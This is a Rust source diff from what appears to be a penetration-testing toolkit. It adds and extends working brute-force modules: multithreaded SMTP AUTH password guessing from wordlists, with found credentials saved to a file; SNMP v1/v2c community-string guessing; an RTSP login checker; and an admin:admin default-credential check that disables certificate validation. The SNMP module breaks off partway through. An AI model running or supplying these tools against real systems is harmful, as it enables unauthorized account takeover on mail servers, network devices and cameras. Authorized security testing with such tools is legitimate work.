||||
let mut connected_sa = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(sa).await {
|
||||
match TcpStream::connect(*sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(sa);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
@@ -255,7 +421,8 @@ async fn try_rtsp_login(
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts failed: {}",
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
@@ -293,7 +460,7 @@ async fn try_rtsp_login(
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Server closed connection unexpectedly."));
|
||||
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
@@ -302,10 +469,73 @@ async fn try_rtsp_login(
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("Unexpected RTSP response:\n{}", response))
|
||||
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty."));
|
||||
}
|
||||
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
|
||||
(host.trim(), Some(path.to_string()))
|
||||
} else {
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Target host cannot be empty."));
|
||||
}
|
||||
|
||||
let normalized_host = if host_part.starts_with('[') {
|
||||
if host_part.contains("]:") {
|
||||
host_part.to_string()
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
let colon_count = host_part.matches(':').count();
|
||||
if colon_count == 0 {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
} else if colon_count == 1 {
|
||||
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
|
||||
if port_str.parse::<u16>().is_ok() {
|
||||
if host_only.contains(':') {
|
||||
format!("[{}]:{}", host_only, port_str)
|
||||
} else {
|
||||
host_part.to_string()
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("[{}]:{}", host_part, default_port)
|
||||
}
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
|
||||
let trimmed = truncated.trim();
|
||||
if trimmed.is_empty() || trimmed == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut path = trimmed.to_string();
|
||||
if !path.starts_with('/') {
|
||||
path.insert(0, '/');
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
});
|
||||
|
||||
Ok((normalized_host, normalized_path))
|
||||
}
|
||||
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
|
||||
@@ -1,14 +1,32 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking default creds on: {}", target);
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
println!();
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::new();
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Hypothetical login using "admin:admin"
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
@@ -17,9 +35,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("[+] Default credentials admin:admin are valid!");
|
||||
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
} else {
|
||||
println!("[-] Default credentials admin:admin failed.");
|
||||
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,14 +1,97 @@
|
||||
use anyhow::{Result, Context};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::time::{Duration, Instant};
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SMTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports AUTH PLAIN and AUTH LOGIN ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
target: String,
|
||||
@@ -22,14 +105,16 @@ struct SmtpBruteforceConfig {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== SMTP Bruteforce ===\n");
|
||||
let port = prompt("Port (default 25): ").parse().unwrap_or(25);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
let port = prompt_port(25);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
|
||||
let threads = prompt_threads(8);
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false);
|
||||
let verbose = prompt_yes_no("Verbose mode?", false);
|
||||
let config = SmtpBruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
@@ -48,10 +133,23 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
|
||||
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let unknown = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
@@ -64,45 +162,119 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let unknown = Arc::clone(&unknown);
|
||||
let stats = Arc::clone(&stats);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() { break; }
|
||||
if config.verbose { println!("[*] {}:{}", user, pass); }
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
match try_smtp_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
stats.record_attempt(true, false);
|
||||
if config.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
Ok(false) => {
|
||||
stats.record_attempt(false, false);
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap();
|
||||
unk.push((user.clone(), pass.clone(), msg.clone()));
|
||||
}
|
||||
if config.verbose {
|
||||
eprintln!("\r{}", format!("[?] {}:{} -> {}", user, pass, msg).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
let found_guard = found.lock().unwrap();
|
||||
if found_guard.is_empty() {
|
||||
println!("{}", "[-] No valid credentials found.".yellow());
|
||||
} else {
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", found_guard.len()).green().bold());
|
||||
for (u,p) in found_guard.iter() { println!(" {} {}:{}", "✓".green(), u, p); }
|
||||
if prompt("\nSave found credentials? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("What should the valid results be saved as?: ");
|
||||
if !f.trim().is_empty() {
|
||||
save_results(&f, &found_guard)?;
|
||||
println!("{}", format!("[+] Results saved to {}", f).green());
|
||||
} else {
|
||||
println!("{}", "[-] Filename cannot be empty. Skipping save.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(found_guard);
|
||||
|
||||
let unknown_guard = unknown.lock().unwrap();
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored SMTP responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt("Save unknown responses to file? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let default_name = "smtp_bruteforce_unknown.txt";
|
||||
let fname = prompt(&format!(
|
||||
"What should the unknown results be saved as? [{}]: ",
|
||||
default_name
|
||||
));
|
||||
let chosen = if fname.trim().is_empty() {
|
||||
default_name.to_string()
|
||||
} else {
|
||||
fname.trim().to_string()
|
||||
};
|
||||
if let Err(e) = save_unknown_smtp(&chosen, &unknown_guard) {
|
||||
println!("{}", format!("[!] Failed to save unknown responses: {}", e).red());
|
||||
} else {
|
||||
println!("{}", format!("[+] Unknown responses saved to {}", chosen).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -202,8 +374,100 @@ fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_unknown_smtp(path: &str, entries: &[(String, String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
|
||||
writeln!(file, "# SMTP Bruteforce Unknown/Errored Responses")?;
|
||||
writeln!(file, "# Format: username:password - error/response")?;
|
||||
writeln!(file)?;
|
||||
|
||||
for (user, pass, msg) in entries {
|
||||
writeln!(file, "{}:{} - {}", user, pass, msg)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
|
||||
print!("{}", msg);
|
||||
if let Err(e) = io::stdout().flush() {
|
||||
eprintln!("[!] Failed to flush stdout: {}", e);
|
||||
}
|
||||
let mut b = String::new();
|
||||
match io::stdin().read_line(&mut b) {
|
||||
Ok(_) => b.trim().to_string(),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read input: {}", e);
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> u16 {
|
||||
loop {
|
||||
let input = prompt(&format!("Port (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default;
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
|
||||
Ok(port) => return port,
|
||||
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default.max(1);
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
|
||||
if input.is_empty() {
|
||||
return default_yes;
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return true,
|
||||
"n" | "no" => return false,
|
||||
_ => println!("[!] Please respond with y or n."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message);
|
||||
if response.is_empty() {
|
||||
println!("[!] Path cannot be empty.");
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
|
||||
@@ -0,0 +1,756 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{SocketAddr, UdpSocket},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Valid communities: {}", success.to_string().green().bold());
|
||||
println!(" Invalid: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SNMPv1/v2c Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Community String Discovery Tool ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SNMP Port", "161")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let communities_file = loop {
|
||||
let input = prompt_required("Community string wordlist file path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
println!("{}", "Tip: Common SNMP community wordlists are at /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt".yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
// Check if file is readable
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0, // SNMPv1
|
||||
"2c" | "2" => break 1, // SNMPv2c
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "50")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "snmp_brute_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Timeout (seconds)", "3")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
|
||||
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
println!("[!] Community wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let communities = Arc::new(communities);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
|
||||
for community in communities.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let community_clone = community.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let version = snmp_version;
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), community_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
